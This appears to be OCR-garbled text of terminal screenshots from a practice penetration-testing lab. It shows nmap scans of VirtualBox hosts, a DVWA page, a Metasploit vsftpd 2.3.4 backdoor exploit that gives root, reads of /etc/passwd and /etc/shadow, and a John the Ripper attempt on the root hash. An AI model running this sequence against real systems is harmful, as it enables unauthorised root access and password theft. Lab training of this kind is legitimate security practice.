55156/tcp open unknown

MAC Address: 08:00:27:37:69:F8 (Oracle VirtualBox virtual NIC)

rizbD ON

Nmap done: 1 IP address (1 host up) scanned in 35.99 seconds
root@osboxes:~/engagement# sudo nmap -sV -p445 192.168.56.107
Starting Nmap 7.80 ( https://nmap.org ) at 2026-68-13 19:50 EDT
Nmap scan report for 192.168.56.107

Host is up (0.0018s latency).

PORT STATE SERVICE VERSION
445/tcp filtered microsoft-ds
MAC Address: 08:00:27:10:B8:

0 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 13.74 seconds
2 root@osboxes :~/engagement#
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Applications > Places ~

root@osboxes: ~/engagement

File Edit Vie ch Terminal Help
23/tcp - open telnet
25/tcp  open smtp
53/tcp  open domain
80/tcp  open http
111/tcp  open rpcbind
139/tcp  open netbios-ssn
445/tcp  open microsoft-ds
512/tcp  open exec
513/tcp  open login
514/tcp  open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open ircs-u
8009/tcp open ajpl3
8180/tcp open unknown
8787/tcp open msgsrvr
47665/tcp open  unknown
50363/tcp open unknown
54747/tcp open unknown
55156/tcp open unknown
MAC Address: 08:00:27:37:69:F8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 35.99 seconds
root@osboxes:~/engagement# sudo nmap -sV -p445 192.168.56.107
Starting Nmap 7.80 ( https://nmap.org ) at 2026-68-13 19:50 EDT
Nmap scan report for 192.168.56.107

Host is up (0.0018s latency).

oz ON

PORT STATE SERVICE VERSION
445/tcp filtered microsoft-ds
MAC Address: ©8:00:27:10:B8:D@ (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 13.74 seconds

root@osboxes:~/engagement# sudo nmap --script smb-vuln-ms17-610 -p445 192.168.56.107
Starting Nmap 7.80 ( https://nmap.org ) at 2026-68-13 19:52 EDT

Nmap scan report for 192.168.56.107

Host is up (0.0024s latency).

PORT STATE SERVICE
445/tcp filtered microsoft-ds
MAC Address: 08:00:27:10:B8:

0 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 13.68 seconds
2 root@oshoxes :~/engagement# [|
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Damn Vulnerable Web App (DVWA) v1.8 :: DVWA Security - Mozilla Firefox

[® Damn Vulnerable Web A X | +

<« c @ ® 192.168.56.106/dvwa/security.php

D\WA)

Home DVWA Security »

Instructions
Setup Script Security

Security Level is currently low.
Brute Force
You can set the security level to low, medium o high
Command Execution

The securty level changes the vulnerabilty level of DVWA
CSRF

Insecure CAPTCHA iy ) S

File Inclusion

SQL Injection PHPIDS
SQL Injection (Blind)
_— PHPIDS v.0.6 (PHP-Intrusion Detection System) is a security layer for PHP based web applications.
Upload
You can enable PHPIDS across this site for the duration of your session.
XSS reflected

PHPIDS is curently disabled. [enable PHPIDS]
[Simulate attack] - [View IDS log]

XSS stored

DVWA Securi

PHP Info
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g for FREE
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Setup.

Brute Force
submit

Command Execution
CSRF PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data

Insecure CAPTCHA 64 bytes fron 127.0.0.1: icmp_seq:
—_ 64 bytes from 127.0.0.1: icmp_seq=3 tt
File Inclusion

--- 127.0.0.1 ping statistics ---

o=t | 3 packets transmitted, 3 received, 0% packet loss, time 1998ms
SQL Injection (Blind) rtt min/avg/max/ndev = ©.051/6.084/0.106/0.023 ms
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Terminal v Thu20:29 H s 7va-~

root@osboxes: ~

Applications > Places ~

root@oshoxes:~# msfconsole -q
[-] ek
[-] * WARNING: No database support: could not connect to server: Connection refused
Is the server running on host "localhost” (::1) and accepting
TCP/IP connections on port 54327
could not connect to server: Connection refused
Is the server running on host "localhost® (127.0.0.1) and accepting
TCP/IP connections on port 54327

L]
nsfs > use exploit/unix/ftp/vsftpd 234 backdoor

nsf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.105
RHOSTS => 192.168.56.105

nsf5 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.56.105:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 192.168.56.105:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created

msfs exploit(unix/ftp/vsftpd 234 backdoor) > whoami

[*] exec: whoami

root
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > id
[*] exec: id

uid=6(root) gid=0(root) groups=e(root
msf5 exploit(unix/ftp/vsftpd_234_backdoor)
[*] exec: whoami id

whoami id

v

whoami: extra operand ‘id’
Try ‘whoami --help’ for more information
nsf5 exploit(unix/ftp/vsftpd_234_backdoor)
[*] exec: whoami

whoami,

v

root
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > id
[*] exec: id

uid=6(root) gid=0(root) groups=0(root)
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > |
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Applications v Places > [ Terminal ~

Thu20:30 | VAN R

root@osboxes: ~

Search Terminal Help

uid=6(root) gid=0(root) groups=e(root)
msfs exploit(unix/ftp/vsitpd 234 backdoor) > cat /etc/passwd
[*] exec: cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

daenmot daemon: /usr/sbin: /usr/sbin/nologin

bin:x bin:/bin:/usr/sbin/nologin

sys:x dev:/usr/sbin/nologin

sync: ync:/bin: /bin/sync

games 60:games : /usr/games: /usr/sbin/nologin

man:x:6:12:man: /var/cache/man: /usr/sbin/nologin

1p:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

wwni-data:x:33:33:www-data:/var/www: /usr/sbin/nologin

backup:x ackup: /var/backups: /usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x rcd:/var/run/ircd: /usr/sbin/nologin

gnats nats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody: x: :65534:nobody : /nonexistent: /usr/sbin/nologin

_apt:x:100:65534: : /nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin

mysql:x:104:110:MySQL Server,,,:/nonexistent:/bin/false
ntp:x:105:111::/nonexistent:/usr/sbin/nologin
messagebus:x:106:112: : /nonexistent:/usr/sbin/nologin
arpwatch: :114:ARP Watcher,,,:/var/lib/arpwatch:/bin/sh

Debian-exil 115::/var/spool/exin4: /usr/sbin/nologin
uuidd:x:10 run/uuidd:/usr/sbin/nologin
redsocks:x:110:117: : /var/run/redsocks: /usr/sbin/nologin
tss:x:111:118:TPM2 software stack,,,:/var/Llib/tpm:/bin/false
5534: : /var/spool/rwho: /usr/sbin/nologin
var/run/iodine:/usr/sbin/nologin
var/run/stunnel4: /usr/sbin/nologin
var/run/miredo: /usr/sbin/nologin
116:65534:dnsmasq, , , : /var/Lib/misc: /usr/sbin/nologin

*oMz=0  ON

5tunne14
miredo:x
dnsmasq

usbmux:x

_rpc:
Debian-snm 129: /var/llh/snmp /bin/false
statd:x:12: /var/lib/nfs:/usr/sbin/nologin
inetsim:x:124:130::/var/lib/inetsim: /usr/sbin/nologin
sshd:x:125:65534: : /run/sshd: /usr/sbin/nologin
pulse:x:126:132:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:127:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false

- avahi:x:128:135:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin

::/var/lib/saned: /usr/sbin/nologin
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Applications > Places ~

root@osboxes: ~

chTerminal _Help
msf5 exploit(unix/ftp/vsitpd_234_backdoor) > cat /etc/shadow
[*] exec: cat /etc/shadow

root : $6$Q8uKtWWn/dptau2a$E184j /HIuiuw21sUT7yuBvTh3FioWj5KKUVPQT/10IT4r tBACAMANTEFV4n4x6ndTN3WD9ASUHOEQQ/IIQN. / : 18142:0:99999: 7
daemon:*:18135:0:99999:7:::

bin
Sys:*:18135:0:99999
sync:*:18135:0:99999:7:
*:18135 7

backup: *:1813!
Tist:*:18135:0:99999:7:
18135:0:99999

+:18135:0:99999:7
nobody: *:18135:0:99999:7: : :
_apt:*:18135:

©:99999:
99999:7
99999:7

systemd-timesync
systemd-network
systemd-resolve
mysql:!:18135:0:99999:7
ntp:*:18135:0:99999
messagebus
arpwatch: |
Debian-exim: !:

redsocks:1:18135:0:99999:7
tss:*:18135:0:99999
rwhod:*:18135:0:99999:7
iodine:*:1813
stunneld:!:18135
miredo

iRz ON

dnsmasq: *:18135
sslh:1:18135:0:99999:7:
postgres:*:18135

usbmux:

_rp. 9999
Debian-snmp: !:18135:0:99999:7
statd:*:18135:0:99999:7
inetsim:*:18135:0:99999
sshd:*:18135:0:99999:7:
pulse:*:18135:0:99999:7
speech-dispatcher:!:18135
avahi:*:18135:0:99999:7

saned:*:18135:0:99999:7
colord:*:18135:0:99999:7::

2 geoclue:*:18135:0:99999
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root@osboxes: ~
File Edit
root@osboxes: ~

root@oshoxes:~# nano passwd.txt
root@oshoxes:~# nano shadow.txt
root@oshoxes:~# sudo gunzip /usr/share/wordlists/rockyou.txt.gz
root@oshoxes:~# 1s /usr/share/wordlists/rockyou
/usr/share/wordlists/rockyou. txt
root@oshoxes:~# cat shadow.txt
cat: shadow.txt: No such file or directory
root@oshoxes:~# echo 'root:$6$Q8uKtwWm/dptau2a$E184j/HIuiuw21sUT7yuBvTh3FioWj5KKUVPQT/101T4rtBACAMANTEFV4n4x6ndTN3WDIASUHOIEQQ/IIqN. /:18142:0:99999:7::: ' > shadow. txt
root@oshoxes:~# cat shadow.txt
:$6$Q8uKtWWm/dptau2a$E184j /HIuiuw21sUT7yuBvTh3FioW]j5KKUVPQT/101T4rtBACAM4NTEFV4n4x6ndTN3WDIASUHOJEQQ/IIQN. /:18142:
root@oshoxes:~# john --format=shasl2crypt --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHAS512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:05 0.32% (ETA: 21:24:07) 0g/s 9939p/s 9939c/s 9939C/s 250895..grad2010
Session aborted
root@osboxes:~# |

:99999:7

roRzD ON
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